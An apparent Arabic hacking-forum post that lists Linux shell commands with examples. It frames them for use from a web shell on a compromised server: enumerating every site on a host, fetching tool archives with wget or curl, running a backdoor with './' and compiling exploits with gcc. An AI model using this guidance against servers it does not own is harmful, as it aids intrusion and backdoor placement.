أهلاً بكم ياأعضاء منتديات جيوش الهكر ، يسعدني أن أطرح لكم وبشكل حصري موسوعة أوامر الشل واللينكس ، ونظراً لكبر الموضوع فسيتم تقسيمه إلى عدة أجزاء ، كما سيتم طرح أمثله لتنفيذ الأوامر ، فلنبدأ على بركة الله : ... الجزء الأول الأمر : Dir وظيفته : لعرض مجموعة الملفات في المسار الحالي الأمر : pwd وظيفته : لعرض المسار الحالي مثال : إذا كنت داخل على يوزر باسم black في مجلد المنتدى ولنفرض أنه بأسم vb بعد تنفيذ هذا الأمر سوف يعرض لنا هذا المسار home / black / public_html / vb / الأمر : cd وظيفته : يستخدم للتنقل بين الأدله الموجوده الأمر : cd.. وظيفته : يستخدم للإنتقال إلى الدليل الذي يعلو الدليل الحالي الأمر : CD ~ وظيفته : يستخدم للإنتقال إلى الدليل الإفتراضي Home الأمر : ls وظيفته : نفس وظيفة الأمر dir لعرض مجموعة الملفات في المسار الحالي الأمر : ls -a وظيفته : أمر مهم تستطيع من خلاله عرض جميع الملفات حتى المخفيه منها الأمر : ls -l وظيفته : لعرض الملفات الموجوده في المسار الحالي وسرد معلومات تفصيلية عنها الأمر : ls –la وظيفته : يستخدم لعرض جميع الملفات والمجلدات مع تصاريحها بحسب المجلد الذي انت بداخله مثال : ls -la ملاحظه / يمكنك دمج أكثر من خيار في الأمر الواحد الأمر : ls * وظيفته : يستخدم في حالة عرض جميع الملفات الموجودة والمجلدات الموجودة بطريقة ترابطية Linked مثال : لمعرفة المواقع على سيرفر مع اليوزر نكتب : ls -la /etc/valiases لمعرفة جميع المواقع اللي على السيرفر نكتب : ls /var/named لمعرفة جميع المواقع على السيرفر ls /usr/local/psa/home/vhosts/ الأمر : Wc وظيفته : لعرض عدد السطور والكلمات والأحرف في ملف نصي مثال : Wc filename.txt والناتج يكون : 31 129 9 filename.txt Filename هو اسم الملف ، أول رقم هو عدد السطور ...وثاني رقم هو عدد الكلمات....وثالث رقم هو عدد الحروف الأمر : Tee وظيفته : يستخدم لإنشاء الملفات والكتابه فيها مثال : Tee filename.ex Filename اسم الملف الذي ترغب بإنشائه و Ex هو امتداد الملف الأمر : Touch وظيفته : إنشاء الملفات مثال : Touch filename.txt الأمر : Cat وظيفته : استعراض الملفات النصية وإنشاء الملفات النصية والكتابه فيها مثال : لكي نقوم بعرض ملف وقرائته نكتب cat filename.ex حيث filename = اسم الملف الذي ترغب بعرضه و ex امتداد الملف ولكي نقوم بإنشاء ملف جديد والكتابة فيه نكتب : cat >filename.txt ثم اضغط Enter وستجد انك في سطر جديد قم بكتابه ماتريد ثم انهي العمليه . الأمر : Rm وظيفته : يقوم بحذف الملفات والمجلدات مثال : لحذف الملفات نكتب : rm /home/ahmed/filename.txt لحذف المجلدات rm –r/home/ahmed/folder كما يمكن حذف كل الملفات بالامر التالي : rm /home/ahmed/* الأمر : mkdir وظيفته : انشاء مجلد جديد مثال : mkdir pass الأمر : chmod وظيفته : تغيير تصاريح الملفات مثال : chmod who+file permission filename المتغير Who = تحديد أي مستخدم سيتم تنفيذ الأمر عليه ( مالك الملف رمزه ( U ) – مجموعه مستخدمين رمزه ( G ) – أي مستخدم رمزه ( O ) – الكل رمزه ( A )) . المتغير file permission = تحديد ماسيتم تغييره في تصريح الملف ( القراءه – الكتابه – التشغيل ) المتغير filename = تحديد اسم الملف او المجلد الذي سيتم تنفيذ الأمر عليه . كما يمكن استخدام الأمر بطريقه أخرى حيث نكتب : chmod 777 filname الأمر : id وظيفته : لعرض صلاحياتك على السرفر مثال : id الأمر : * وظيفته : يضاف للأوامر السابقه ويرمز للكل مثال : إذا كنت داخل مجلد وبداخله ملفات كثيره وترغب بتغيير تصاريحها كلها مثلا ، إذا يكون الأمر الذي سينفذ هنا هو : * chmod 777 الأمر : mv وظيفته : نقل الملفات او تغيير تسميتها مثال : إذا أردت نقل ملف معين مثلا باسم filename.php إلى أي مكان يكون الأمر هكذا mv filename.php / home / ??? / public_html / black ، ويتم إستبدال home / ??? / public_html / black / إلى مسار المجلد الذي سيتم النقل إليه ويشترط أن يكون هذا المجلد يحمل التصريح ( 777 ) (drwxrwxrwx) لتغيير التسميه إذا اردنا تغيير تسميه ملف باسم a.php إلى b.php يكون الأمر mv a.php b.php الأمر : ; وظيفته : أداه للربط بين الأوامر مثال : ls;pwd الأمر : edit وظيفته : التعديل مثال : edit failname الأمر : cp وظيفته : نسخ الملفات مثال : إذا أردنا نسخ ملف باسم black.php إلى مكان أخر يكون الأمر cp black.php / home / ??? / public_html / up ويتم استبدال home / ??? / public_html / up / بمسار المجلد الذي ننسخ الملف إليه ويشترط أن يكون هذا المجلد يحمل التصريح ( 777 ) (drwxrwxrwx) الأمر : find وظيفته : للبحث عما تريد مثال : أذا أردنا أن نبحث عن الكونفايق find config.php أوامر رفع الملفات قبل تنفيذ أوامر الرفع يجب تطبيق أمر التأكد بمعنى هل يمكننا الرفع بواسطة هذا الأمر أم لا الأمر : wget وظيفته : أمر رفع مثال : wget http://www./???.com/black.zip الأمر : curl وظيفته : أمر رفع مثال : curl -o tryag.zip http://www./???.com/black.zip الأمر : GET وظيفته : أمر رفع مثال : GET http://www./???.com/black.zip > black.zip الأمر : lynx وظيفته : أمر رفع مثال : lynx -source http://www./???.com/black.zip > black.zip أمر التأكد من عمل أوامر الرفع : which xxxx وتستبدل xxxx بأمر الرفع المستخدم إذا كان الناتج : usr / bin /xxxx / معناته يمكنك استخدام هذا الأمر في الرفع (xxxx تتغير إلى أمر الرفع المطبق ) الأمر : qzip وظيفته : zip أمرالضغط بامتداد مثال : qzip failname الأمر : unzip وظيفته : امر فك الضغط بامتداد zip مثال : unzip failname الأمر : tar -zcf وظيفته : أمر الضغط بامتداد tar مثال : tar -zcf zz.tar daily الأمر : tar -zxf وظيفته : أمر فك الضغط بامتداد tar مثال : tar -zxf zz.tar الأمر : tar -czvf وظيفته : أمر ضغط الملف بامتداد gz مثال : tar -czvf file name.tar.gz file name.sql الأمر : gzip -d وظيفته : فك الضغط بامتداد gz مثال : gzip -d file.gz الأمر : tar -czvf وظيفته : كيفية ضغط قاعدة البيانات مثال : tar -czvf file name.tar.gz file name.sql الأمر : tar -zxvf وظيفته : كيفية فك قواعد البيانات مثال : tar -zxvf file name.tar.gz الأمر : tar -czvf وظيفته : امر ضغط المجلدات بامتداد tar.gz مثال : tar -czvf /home/user/public_html/n3.tar.gzn3 الأمر : history وظيفته : أمر معرفة جميع الأوامر التي نفذت بالشل مثال : history الأمر : ./ وظيفته : أمرتشغيل الباكدور مثال : ./ الأمر : uname -a وظيفته : أمر معرفة اصدار السيرفر مثال : uname -a الأمر : man وظيفته : امر المساعدة مثال : man ls الأمر : gcc وظيفته : ترجمة الكومبايل او الاكسبلويت مثال : gcc site.c -o site (site تستبدل باسم الكومبايل )
I love Yemen
قوانين المنتدى